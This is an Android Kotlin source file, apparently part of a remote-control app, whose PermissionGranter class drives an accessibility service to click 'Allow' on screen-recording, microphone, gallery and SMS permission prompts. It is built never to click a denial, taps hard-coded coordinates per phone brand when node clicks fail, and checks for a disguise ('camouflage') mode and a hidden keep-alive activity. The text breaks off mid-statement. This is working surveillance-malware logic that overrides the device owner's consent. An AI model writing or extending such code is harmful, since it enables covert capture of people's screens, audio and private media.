package com.hikoncont.manager

import android.R
import android.app.Activity
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.net.Uri
import android.os.Build
import android.provider.Settings
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.util.ROMAdapter
import com.hikoncont.MediaProjectionHolder
import kotlinx.coroutines.*
import android.accessibilityservice.GestureDescription
import android.accessibilityservice.AccessibilityService
import android.content.pm.PackageManager

/**
 * 权限管理器
 * 
 * 主要职责:
 * 1. 检查各种权限状态
 * 2. 自动申请MediaProjection权限
 * 3. 自动开启悬浮窗权限
 * 4. 适配不同厂商ROM的UI差异
 */
class PermissionGranter(private val service: AccessibilityRemoteService) {
    
    companion object {
        private const val TAG = "PermissionGranter"
        private const val REQUEST_MEDIA_PROJECTION = 1001
        // 删除悬浮窗权限请求常量
    }
    
    private val context: Context = service
    private val romAdapter = ROMAdapter()
    
    /**
     * ✅ 检查是否是保活场景
     */
    private fun isKeepAliveScenario(): Boolean {
        return try {
            // 检查透明保活Activity是否运行
            val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance()
            if (transparentActivity != null) {
                Log.d(TAG, "🫥 检测到透明保活Activity运行，判断为保活场景")
                return true
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查保活场景失败", e)
            false
        }
    }
    
    /**
     * 检查是否是伪装模式
     */
    private fun isInCamouflageMode(): Boolean {
        try {
            val packageManager = context.packageManager
            val phoneManagerComponent = ComponentName(context, "com.hikoncont.PhoneManagerAlias")
            val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent)
            
            val isCamouflage = (phoneManagerEnabled == PackageManager.COMPONENT_ENABLED_STATE_ENABLED)
            Log.d(TAG, "🎭 检查伪装模式: $isCamouflage")
            return isCamouflage
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查伪装模式失败", e)
            return false
        }
    }
    
    /**
     * 确保MainActivity被启用（防止SIM伪装方案导致MainActivity被禁用）
     */
    private fun ensureMainActivityEnabled() {
        try {
            val packageManager = context.packageManager
            val mainComponent = ComponentName(context, "com.hikoncont.MainActivity")
            val currentState = packageManager.getComponentEnabledSetting(mainComponent)
            
            if (currentState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                Log.w(TAG, "⚠️ MainActivity被禁用，正在启用...")
                packageManager.setComponentEnabledSetting(
                    mainComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP
                )
                Thread.sleep(500) // 等待启用生效
                Log.i(TAG, "✅ MainActivity已启用")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启用MainActivity失败", e)
        }
    }
    
    // 权限申请状态
    private var isRequestingMediaProjection = false
    private var isRequestingCameraPermission = false
    private var isRequestingGalleryPermission = false
    private var isRequestingMicrophonePermission = false
    private var isRequestingSMSPermission = false
    private var isDetectingSendSMSPermission = false
    private var isDetectingSendSMSConfirmation = false
    // 删除悬浮窗权限请求状态变量
    
    // ✅ 添加重试限制机制 - 智能间隔控制 + 状态跟踪
    private var mediaProjectionRetryCount = 0
    private var cameraPermissionRetryCount = 0
    private var galleryPermissionRetryCount = 0
    private var microphonePermissionRetryCount = 0
    private var smsPermissionRetryCount = 0
    private var sendSMSPermissionRetryCount = 0
    private var sendSMSConfirmationRetryCount = 0
    // 删除悬浮窗权限重试计数
    private val maxRetryCount = 8 // 增加到8次重试，应对间歇性问题
    private var lastMediaProjectionAttemptTime = 0L
    // 删除悬浮窗权限最后尝试时间
    private val retryIntervalMs = 3000L // 减少到3秒间隔
    private val cameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔
    private val galleryPermissionRetryInterval = 1000L // 相册权限重试间隔
    private val microphonePermissionRetryInterval = 2000L // 麦克风权限重试间隔
    private val smsPermissionRetryInterval = 1000L // 短信权限重试间隔
    private val sendSMSPermissionRetryInterval = 1000L // 发送短信权限弹框重试间隔
    private val sendSMSConfirmationRetryInterval = 500L // 发送短信确认对话框重试间隔
    private var hasDetectedPermissionDialog = false // 是否检测到权限对话框
    private var dialogDetectionCount = 0 // 对话框检测次数
    private var isFirstInstall = false // 是否为首次安装
    private var lastDialogPackageName: String? = null // 最后检测到的对话框包名
    private var isSecondaryConfirmationActive = false // 二次确认监听状态
    
    // Android 15权限稳定通知防重复标记
    @Volatile private var android15StableBroadcastSent = false
    
    // 添加系统权限弹窗监听相关变量
    @Volatile private var isSystemPermissionDialogListening = false // 系统权限弹窗监听状态
    @Volatile private var systemPermissionDialogDetected = false // 系统权限弹窗检测状态
    private val systemPermissionDialogCheckInterval = 3000L // 系统权限弹窗检测间隔
    
    // 🔧 新增：智能冷却期机制
    @Volatile private var lastUserDialogDetectionTime = 0L // 上次检测到用户弹窗的时间
    @Volatile private var lastUserDialogProcessTime = 0L // 上次实际处理用户弹窗的时间
    private val userDialogDetectionCooldown = 2000L // 缩短为2秒冷却期
    private val userDialogProcessCooldown = 3000L // 实际处理的冷却期为3秒
    
    // 协程作用域
    private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
    
    // 摄像头权限相关变量
    private var lastCameraPermissionAttemptTime = 0L
    
    /**
     * 检测是否为首次安装
     */
    private fun detectFirstInstall(): Boolean {
        return try {
            val sharedPrefs = context.getSharedPreferences("permission_tracker", android.content.Context.MODE_PRIVATE)
            val hasRunBefore = sharedPrefs.getBoolean("has_run_before", false)
            
            if (!hasRunBefore) {
                // 标记已运行
                sharedPrefs.edit().putBoolean("has_run_before", true).apply()
                Log.i(TAG, "🆕 检测到首次安装，启用特殊处理模式")
                return true
            }
            
            false
        } catch (e: Exception) {
            Log.e(TAG, "检测首次安装失败", e)
            false
        }
    }

    // ================= 相册权限自动授予 =================
    /**
     * 开始相册权限申请流程（自动授权）
     */
    fun startGalleryPermissionRequest() {
        if (isRequestingGalleryPermission) {
            Log.i(TAG, "🖼️ 相册权限申请已在进行中")
            return
        }

        // 🎭 检查是否是伪装模式，如果是则不申请权限
        if (isInCamouflageMode()) {
            Log.i(TAG, "🎭 检测到伪装模式，跳过相册权限申请")
            return
        }

        // 使用 GalleryManager 检查是否已有权限
        val galleryManager = com.hikoncont.manager.GalleryManager(service)
        if (galleryManager.hasReadMediaPermission()) {
            Log.i(TAG, "✅ 相册权限已授予")
            return
        }

        if (!checkAccessibilityServiceStatus()) {
            Log.e(TAG, "❌ 无障碍服务状态异常，无法申请相册权限")
            return
        }

        try {
            Log.i(TAG, "🖼️ 开始相册权限申请（自动授权盲点）")
            isRequestingGalleryPermission = true
            galleryPermissionRetryCount = 0

            // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
            if (isKeepAliveScenario()) {
                Log.i(TAG, "💡 保活场景下申请相册权限，不启动MainActivity（避免保活程序拉起）")
                Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
                return
            }
            
            // 确保MainActivity被启用
            ensureMainActivityEnabled()
            
            // 启动权限申请Activity
            val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                putExtra("request_gallery_permission", true)
            }
            context.startActivity(intent)

            // MIUI/澎湃OS 特殊处理：很多机型拦截运行时弹框，直接引导到权限编辑页
            if (isMiuiDevice()) {
                Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予相册权限")
                openMiuiPermissionEditor("gallery")
            }else{
                // 开始监听权限对话框
                startGalleryPermissionDialogMonitoring()
            }


        } catch (e: Exception) {
            Log.e(TAG, "启动相册权限申请失败", e)
        }
    }

    /**
     * 开始麦克风权限申请（盲点方式）
     */
    fun startMicrophonePermissionRequest() {
        if (isRequestingMicrophonePermission) {
            Log.i(TAG, "🎤 麦克风权限申请已在进行中")
            return
        }

        // 🎭 检查是否是伪装模式，如果是则不申请权限
        if (isInCamouflageMode()) {
            Log.i(TAG, "🎭 检测到伪装模式，跳过麦克风权限申请")
            return
        }

        // 检查是否已有权限
        if (checkMicrophonePermission()) {
            Log.i(TAG, "✅ 麦克风权限已授予")
            return
        }

        if (!checkAccessibilityServiceStatus()) {
            Log.e(TAG, "❌ 无障碍服务状态异常，无法申请麦克风权限")
            return
        }

        try {
            Log.i(TAG, "🎤 开始麦克风权限申请（自动授权盲点）")
            isRequestingMicrophonePermission = true
            microphonePermissionRetryCount = 0

            // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
            if (isKeepAliveScenario()) {
                Log.i(TAG, "💡 保活场景下申请麦克风权限，不启动MainActivity（避免保活程序拉起）")
                Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
                return
            }
            
            // 确保MainActivity被启用
            ensureMainActivityEnabled()
            
            // 启动权限申请Activity
            val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                putExtra("request_microphone_permission", true)
            }
            context.startActivity(intent)

            // MIUI/澎湃OS 特殊处理
            if (isMiuiDevice()) {
                Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予麦克风权限")
                openMiuiPermissionEditor("microphone")
            }else{
                // 开始监听权限对话框
                startMicrophonePermissionDialogMonitoring()
            }


        } catch (e: Exception) {
            Log.e(TAG, "启动麦克风权限申请失败", e)
        }
    }

    /**
     * 监控并处理相册权限弹窗
     */
    private fun startGalleryPermissionDialogMonitoring() {
        serviceScope.launch {
            while (isRequestingGalleryPermission && galleryPermissionRetryCount < maxRetryCount) {
                delay(galleryPermissionRetryInterval)

                val galleryManager = com.hikoncont.manager.GalleryManager(service)
                if (galleryManager.hasReadMediaPermission()) {
                    Log.i(TAG, "✅ 相册权限已授予")
                    isRequestingGalleryPermission = false
                    break
                }

                Log.d(TAG, "🖼️ 第 ${galleryPermissionRetryCount + 1} 次检测相册权限对话框...")

                if (!AccessibilityRemoteService.isServiceRunning()) {
                    Log.w(TAG, "⚠️ 无障碍服务未运行，停止相册权限申请")
                    isRequestingGalleryPermission = false
                    break
                }

                if (detectAndHandleGalleryPermissionDialog()) {
                    Log.i(TAG, "🖼️ 检测到相册权限对话框，尝试自动点击")
                    delay(1000)
                    if (galleryManager.hasReadMediaPermission()) {
                        Log.i(TAG, "✅ 相册权限已授予")
                        isRequestingGalleryPermission = false
                        break
                    }
                } else {
                    Log.d(TAG, "🖼️ 未检测到相册权限对话框，继续等待...")
                }

                galleryPermissionRetryCount++
            }

            if (galleryPermissionRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ 相册权限申请超时")
                isRequestingGalleryPermission = false
            }
        }
    }

    /**
     * 监控并处理麦克风权限弹窗
     */
    private fun startMicrophonePermissionDialogMonitoring() {
        serviceScope.launch {
            while (isRequestingMicrophonePermission && microphonePermissionRetryCount < maxRetryCount) {
                delay(microphonePermissionRetryInterval)

                if (checkMicrophonePermission()) {
                    Log.i(TAG, "✅ 麦克风权限已授予")
                    isRequestingMicrophonePermission = false
                    break
                }

                Log.d(TAG, "🎤 第 ${microphonePermissionRetryCount + 1} 次检测麦克风权限对话框...")

                if (!AccessibilityRemoteService.isServiceRunning()) {
                    Log.w(TAG, "⚠️ 无障碍服务未运行，停止麦克风权限申请")
                    isRequestingMicrophonePermission = false
                    break
                }

                if (detectAndHandleMicrophonePermissionDialog()) {
                    Log.i(TAG, "🎤 检测到麦克风权限对话框，尝试自动点击")
                    delay(1000)
                    if (checkMicrophonePermission()) {
                        Log.i(TAG, "✅ 麦克风权限已授予")
                        isRequestingMicrophonePermission = false
                        break
                    }
                } else {
                    Log.d(TAG, "🎤 未检测到麦克风权限对话框，继续等待...")
                }

                microphonePermissionRetryCount++
            }

            if (microphonePermissionRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ 麦克风权限申请超时")
                isRequestingMicrophonePermission = false
            }
        }
    }

    /**
     * 检测并点击相册权限的允许按钮
     */
    private fun detectAndHandleGalleryPermissionDialog(): Boolean {
        try {
            Log.d(TAG, "🖼️ 开始相册权限对话框检测...")

            // 方法1: 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "🖼️ 检查 ${windows.size} 个窗口...")

                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    val windowType = window.type
                    val windowId = window.id

                    Log.d(TAG, "🖼️ 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")

                    // 检查窗口标题是否包含相册权限相关文本
                    if (windowTitle.contains("照片", ignoreCase = true) ||
                        windowTitle.contains("视频", ignoreCase = true) ||
                        windowTitle.contains("允许", ignoreCase = true) ||
                        windowTitle.contains("访问", ignoreCase = true)) {
                        Log.d(TAG, "🖼️ 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")

                        // 尝试通过窗口ID获取根节点
//                        val windowRoot = getWindowRootByTitle(windowTitle)
                        if (tryClickByGalleryCoordinates(windowTitle)) {
                            return true
                        }
                    }
                }
            }

            // 方法2: 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "🖼️ 检查活动窗口...")

                // 递归查找权限相关节点
                val permissionNode = findPermissionNodeInTree(rootNode)
                if (permissionNode != null) {
                    Log.d(TAG, "🖼️ 在活动窗口中找到权限节点")

                    if (tryClickPermissionButtons(permissionNode)) {
                        permissionNode.recycle()
                        rootNode.recycle()
                        return true
                    }

                    permissionNode.recycle()
                }

                rootNode.recycle()
            }

            Log.d(TAG, "🖼️ 未找到权限对话框")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "检测权限对话框失败", e)
            return false
        }
    }

    /**
     * 检测并点击麦克风权限的允许按钮
     */
    private fun detectAndHandleMicrophonePermissionDialog(): Boolean {
        try {
            Log.d(TAG, "🎤 开始麦克风权限对话框检测...")

            // 方法1: 检查所有窗口
            val windows = service.windows
            if (windows != null && windows.isNotEmpty()) {
                Log.d(TAG, "🎤 检查 ${windows.size} 个窗口...")

                for (i in windows.indices) {
                    val window = windows[i]
                    val windowTitle = window.title?.toString() ?: ""
                    val windowType = window.type
                    val windowId = window.id

                    Log.d(TAG, "🎤 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")

                    // 检查窗口标题是否包含麦克风权限相关文本
                    if (windowTitle.contains("麦克风", ignoreCase = true) ||
                        windowTitle.contains("录音", ignoreCase = true) ||
                        windowTitle.contains("音频", ignoreCase = true) ||
                        windowTitle.contains("允许", ignoreCase = true) ||
                        windowTitle.contains("访问", ignoreCase = true)) {
                        Log.d(TAG, "🎤 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")

                        // 尝试通过窗口ID获取根节点
                        val windowRoot = getWindowRootByTitle(windowTitle)
                        if (tryClickByMicrophoneCoordinates(windowTitle)) {
                            return true
                        }
                    }
                }
            }

            // 方法2: 检查活动窗口
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                Log.d(TAG, "🎤 检查活动窗口...")

                // 递归查找权限相关节点
                val permissionNode = findPermissionNodeInTree(rootNode)
                if (permissionNode != null) {
                    Log.d(TAG, "🎤 在活动窗口中找到权限节点")

                    if (tryClickPermissionButtons(permissionNode)) {
                        permissionNode.recycle()
                        rootNode.recycle()
                        return true
                    }

                    permissionNode.recycle()
                }

                rootNode.recycle()
            }

            Log.d(TAG, "🎤 未找到权限对话框")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "检测权限对话框失败", e)
            return false
        }
    }

    

    /**
     * 检查麦克风权限
     */
    fun checkMicrophonePermission(): Boolean {
        return try {
            val hasPermission = context.checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED
            Log.d(TAG, "🎤 麦克风权限检查: $hasPermission")
            hasPermission
        } catch (e: Exception) {
            Log.e(TAG, "检查麦克风权限失败", e)
            false
        }
    }

    /**
     * 检查是否有屏幕录制权限 - 优化权限检测逻辑
     * ✅ 参考billd-desk：Android 11+也需要申请MediaProjection权限（不再跳过）
     */
    fun hasMediaProjectionPermission(): Boolean {
        return try {
            // 检查MediaProjectionHolder中是否有有效的权限数据
            val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData()
            val hasStoredPermission = permissionData != null
            
            Log.d(TAG, "🔍 MediaProjection权限检查: 存储权限=$hasStoredPermission, 申请中=$isRequestingMediaProjection, 重试次数=$mediaProjectionRetryCount")
            
            // ✅ 如果权限已获取，直接返回true，不管是否在申请过程中
            if (hasStoredPermission) {
                Log.d(TAG, "✅ 权限数据已存储，MediaProjection权限已获取")
                return true
            }
            
            // ✅ 如果没有权限数据且不在申请过程中，返回false
            if (!isRequestingMediaProjection) {
                Log.d(TAG, "❌ 无权限数据且未在申请过程中")
                return false
            }
            
            // ✅ 在权限申请过程中，但前几次重试时返回false，避免中断正常流程
            if (mediaProjectionRetryCount <= 2) {
                Log.d(TAG, "🔍 权限申请进行中(第${mediaProjectionRetryCount}次)，暂时返回false避免中断流程")
                return false
            }
            
            // ✅ 多次重试后，返回false表示权限确实未获取
            Log.d(TAG, "⚠️ 多次重试后仍无权限数据，返回false")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查MediaProjection权限失败", e)
            false
        }
    }
    
    // 删除悬浮窗权限检查方法
    
    /**
     * 请求MediaProjection权限
     * 注意：此方法现在由MainActivity处理，这里只设置标志位
     * ✅ 参考billd-desk：Android 11+也需要申请MediaProjection权限（不再跳过）
     */
    suspend fun requestMediaProjectionPermission() {
        Log.i(TAG, "MediaProjection权限申请现在由MainActivity处理")
        isRequestingMediaProjection = true
        
        // 给MainActivity一些时间来启动和申请权限
        delay(2000)
    }
    
    /**
     * 设置MediaProjection请求状态 - 智能间隔控制 + 首次安装优化
     * ✅ 参考billd-desk：Android 11+也需要申请MediaProjection权限（不再跳过）
     */
    fun setMediaProjectionRequesting(requesting: Boolean) {
        if (requesting) {
            // ✅ 首先检查是否已有权限数据，如果有则立即停止申请
            val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData()
            if (permissionData != null) {
                Log.i(TAG, "📱 检测到MediaProjection权限已存在，停止申请流程")
                isRequestingMediaProjection = false
                resetRequestStatus()
                
                // Android 15设备特殊处理：发送权限稳定广播（防重复）
                if (android.os.Build.VERSION.SDK_INT >= 35 && !android15StableBroadcastSent) {
                    android15StableBroadcastSent = true
                    Log.i(TAG, "🛡️ Android 15设备权限已存在，发送权限稳定广播")
                    val stableIntent = Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                    context.sendBroadcast(stableIntent)
                }
                
                // 发送停止广播
                val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
                context.sendBroadcast(stopIntent)
                Log.i(TAG, "📡 已发送停止Activity创建广播")
                return
            }
            
            val currentTime = System.currentTimeMillis()
            
            // ✅ 首次请求时检测是否为首次安装
            if (mediaProjectionRetryCount == 0) {
                isFirstInstall = detectFirstInstall()
            }
            
            // ✅ 检查重试次数和时间间隔
            if (mediaProjectionRetryCount >= maxRetryCount) {
                Log.w(TAG, "⚠️ MediaProjection权限申请已达到最大重试次数($maxRetryCount)，停止自动申请")
                isRequestingMediaProjection = false
                resetRequestStatus()
                
                // ✅ 发送停止广播，阻止MainActivity继续创建
                val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
                context.sendBroadcast(stopIntent)
                Log.i(TAG, "📡 达到最大重试次数，已发送停止Activity创建广播")
                
                // ✅ 发送手动操作通知，提示用户手动操作
                val manualIntent = Intent("android.mycustrecev.MANUAL_ACTION_REQUIRED")
                manualIntent.putExtra("permission_type", "media_projection")
                manualIntent.putExtra("message", "权限申请达到最大重试次数，请手动操作")
                context.sendBroadcast(manualIntent)
                Log.i(TAG, "📡 已发送手动操作通知广播")
                return
            }
            
            // ✅ 智能间隔策略：根据不同状态动态调整
            val actualInterval = when {
                mediaProjectionRetryCount <= 1 -> 300L                    // 前两次快速
                hasDetectedPermissionDialog -> 400L                       // 检测到对话框后适中
                dialogDetectionCount >= 2 -> 300L                        // 多次检测到对话框，快速响应
                else -> 600L                                             // 其他情况适中
            }
            
            // ✅ 放宽间隔检查，允许更快的权限申请响应
            if (currentTime - lastMediaProjectionAttemptTime < actualInterval) {
                Log.d(TAG, "⚠️ MediaProjection权限申请间隔较短(${currentTime - lastMediaProjectionAttemptTime}ms < ${actualInterval}ms)，但允许继续") // 改为debug级别，不再跳过
                // 不再直接返回，允许继续处理
            }
            
            mediaProjectionRetryCount++
            lastMediaProjectionAttemptTime = currentTime
            Log.i(TAG, "✅ 设置MediaProjection请求状态: $requesting (第${mediaProjectionRetryCount}次尝试，对话框检测: $hasDetectedPermissionDialog, 首次安装: $isFirstInstall)")
        } else {
            Log.i(TAG, "✅ MediaProjection权限申请完成，重置状态")
            resetRequestStatus()
        }
        
        isRequestingMediaProjection = requesting
    }
    
    /**
     * 重置权限申请状态
     */
    private fun resetRequestStatus() {
        Log.i(TAG, "🔄 重置权限申请状态")
        mediaProjectionRetryCount = 0
        hasDetectedPermissionDialog = false
        dialogDetectionCount = 0
        lastDialogPackageName = null
        isRequestingMediaProjection = false
    }
    
    /**
     * 请求悬浮窗权限
     */
    // 删除悬浮窗权限申请方法
    
    // ==================== 参考d.t/d.r的通用权限自动点击 ====================
    
    /**
     * 录屏授权弹窗检测关键词（参考d.t的f604c数组）
     * 当systemui事件中包含这些关键词时，说明录屏授权弹窗已出现
     */
    private val mediaProjectionDetectionKeywords = arrayOf(
        "投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
        "Screen recording", "Screen casting", "Screen capture", "Share screen",
        "Cast screen", "Record screen", "Media projection"
    )
    
    /**
     * 通用权限自动授权关键词列表（参考d.r的18个关键词）
     * 匹配到这些文本的可点击节点会被自动点击
     */
    private val generalPermissionAllowKeywords = arrayOf(
        "确定", "允许", "始终允许", "允许使用照片和视频", "所有文件",
        "允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许",
        "使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许",
        "仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体",
        // 英文
        "Allow", "Always allow", "Allow while using the app", "While using the app",
        "Only this time", "Allow all the time"
    )
    
    /**
     * 取消/拒绝按钮黑名单（参考d.t的f606e数组）
     * 这些文本的节点绝不会被点击
     */
    private val denyButtonBlacklist = arrayOf(
        "禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
        "Cancel", "Deny", "Dismiss", "Don't allow", "No"
    )
    
    /**
     * 录屏确认按钮文本（参考d.t的f605d数组）
     * 选择全屏后点击这些确认按钮
     */
    private val mediaProjectionConfirmKeywords = arrayOf(
        "立即开始", "允许", "确定", "开始",
        "Start now", "Allow", "OK", "Start", "Begin",
        "Share screen", "共享屏幕", "开始共享"
    )
    
    /**
     * 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本)
     * 参考d.t + d.r的双层架构
     */
    fun handleAccessibilityEvent(event: AccessibilityEvent) {
        // ✅ ANR修复：异步处理无障碍事件，避免阻塞主线程
        android.os.Handler(android.os.Looper.getMainLooper()).post {
            try {
                val packageName = event.packageName?.toString() ?: ""
                
                // === 第一层：录屏授权弹窗自动点击（参考d.t） ===
                // 监听来自com.android.systemui的事件
                if (packageName == "com.android.systemui") {
                    handleMediaProjectionAutoClick(event)
                }
                
                // === 第二层：通用权限弹窗自动点击（参考d.r） ===
                // 处理所有权限弹窗的自动点击
                handleGeneralPermissionAutoClick(event)
                
                // === 原有逻辑：MediaProjection权限申请流程 ===
                if (event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
                    Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: $packageName")
                }
                handleAccessibilityEventInternal(event)
            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理无障碍事件失败", e)
            }
        }
    }
    
    /**
     * 第一层：录屏授权弹窗自动点击（参考d.t）
     * 监听com.android.systemui的事件，检测录屏关键词后执行自动点击序列
     */
    private fun handleMediaProjectionAutoClick(event: AccessibilityEvent) {
        try {
            // 只处理窗口状态变化和内容变化事件
            if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
                event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
                return
            }
            
            val rootNode = service.rootInActiveWindow ?: return
            
            // 检查屏幕上是否包含录屏相关关键词
            var foundKeyword = false
            for (keyword in mediaProjectionDetectionKeywords) {
                val nodes = findNodesByText(rootNode, keyword)
                if (nodes.isNotEmpty()) {
                    // 检查节点是否可见
                    for (node in nodes) {
                        if (node.isVisibleToUser) {
                            Log.i(TAG, "🎬 [d.t] 检测到录屏授权弹窗关键词: '$keyword'")
                            foundKeyword = true
                            break
                        }
                    }
                    if (foundKeyword) break
                }
            }
            
            if (!foundKeyword) return
            
            // 检测到录屏弹窗，延迟100ms后执行自动点击序列（参考case 16）
            serviceScope.launch {
                delay(100)
                executeMediaProjectionAutoClickSequence()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [d.t] 录屏授权弹窗自动点击失败", e)
        }
    }
    
    /**
     * 执行录屏授权自动点击序列（参考case 16 → 15 → 14）
     * 步骤：1. 查找并点击"整个屏幕" → 2. 延迟300ms → 3. 点击确认按钮
     */
    private suspend fun executeMediaProjectionAutoClickSequence() {
        try {
            Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列")
            
            val rootNode = service.rootInActiveWindow ?: return
            
            // === Step 1: Android 14+需要先选择"整个屏幕"（参考case 16 → case 15） ===
            if (Build.VERSION.SDK_INT >= 34) {
                // 先检查是否有"单个应用"文本（参考case 16: 搜索"单个应用"）
                val singleAppNodes = findNodesByText(rootNode, "单个应用")
                if (singleAppNodes.isNotEmpty()) {
                    Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗（有'单个应用'选项）")
                }
                
                // 点击"整个屏幕"（参考case 15）
                val fullScreenTexts = arrayOf(
                    "整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen"
                )
                var fullScreenClicked = false
                for (text in fullScreenTexts) {
                    val nodes = findNodesByText(rootNode, text)
                    for (node in nodes) {
                        if (node.isVisibleToUser) {
                            val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
                            if (clickTarget != null) {
                                val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                                if (success) {
                                    Log.i(TAG, "🎬 [d.t] 成功点击'$text'选项")
                                    fullScreenClicked = true
                                    break
                                }
                            }
                        }
                    }
                    if (fullScreenClicked) break
                }
                
                // 也尝试RadioButton方式选择全屏
                if (!fullScreenClicked) {
                    val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
                    for (radio in radioButtons) {
                        val radioText = radio.text?.toString() ?: ""
                        val radioDesc = radio.contentDescription?.toString() ?: ""
                        val isFullScreen = fullScreenTexts.any { 
                            radioText.contains(it, ignoreCase = true) || radioDesc.contains(it, ignoreCase = true) 
                        }
                        if (isFullScreen && !radio.isChecked && radio.isClickable) {
                            val success = radio.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "🎬 [d.t] 通过RadioButton成功选择全屏: '$radioText'")
                                fullScreenClicked = true
                                break
                            }
                        }
                    }
                }
                
                if (fullScreenClicked) {
                    // 延迟300ms等待界面更新（参考case 15 → case 14的延迟）
                    delay(300)
                }
            }
            
            // === Step 2: 点击确认按钮（参考case 14: 遍历f605d确认按钮数组） ===
            delay(300)
            val updatedRoot = service.rootInActiveWindow ?: return
            
            for (confirmText in mediaProjectionConfirmKeywords) {
                val buttons = findNodesByText(updatedRoot, confirmText)
                for (button in buttons) {
                    if (!button.isVisibleToUser) continue
                    
                    // 检查是否在黑名单中
                    val buttonText = button.text?.toString() ?: ""
                    val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) }
                    if (isDenied) continue
                    
                    val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
                    if (clickTarget != null) {
                        val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'")
                            stopAutoClickingImmediately()
                            return
                        }
                    }
                }
            }
            
            // === Step 3: 节点点击失败时，使用坐标点击兜底（参考d.g.f()） ===
            Log.i(TAG, "🎬 [d.t] 节点点击失败，尝试坐标点击兜底")
            tryMediaProjectionCoordinateClick()
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [d.t] 录屏授权自动点击序列失败", e)
        }
    }
    
    /**
     * 录屏授权坐标点击兜底（参考d.g.r()）
     * 根据设备品牌和分辨率计算按钮坐标进行手势点击
     */
    private fun tryMediaProjectionCoordinateClick() {
        try {
            val displayMetrics = service.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            val brand = (Build.BRAND ?: "").lowercase()
            val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
            
            Log.i(TAG, "🎬 [d.g] 坐标点击兜底: 屏幕=${screenWidth}x${screenHeight}, 品牌=$brand")
            
            // 参考d.g.r()的设备适配坐标表
            data class ClickConfig(val x: Int, val y: Int, val repeatCount: Int)
            
            val clickConfigs: List<ClickConfig> = when {
                // vivo设备（参考：vivo 1080w → (540, 1740~1850) 重复24次）
                brand.contains("vivo") || brand.contains("iqoo") -> {
                    when {
                        screenWidth == 1260 -> listOf(ClickConfig(630, 2187, 24))
                        screenWidth <= 1080 -> listOf(
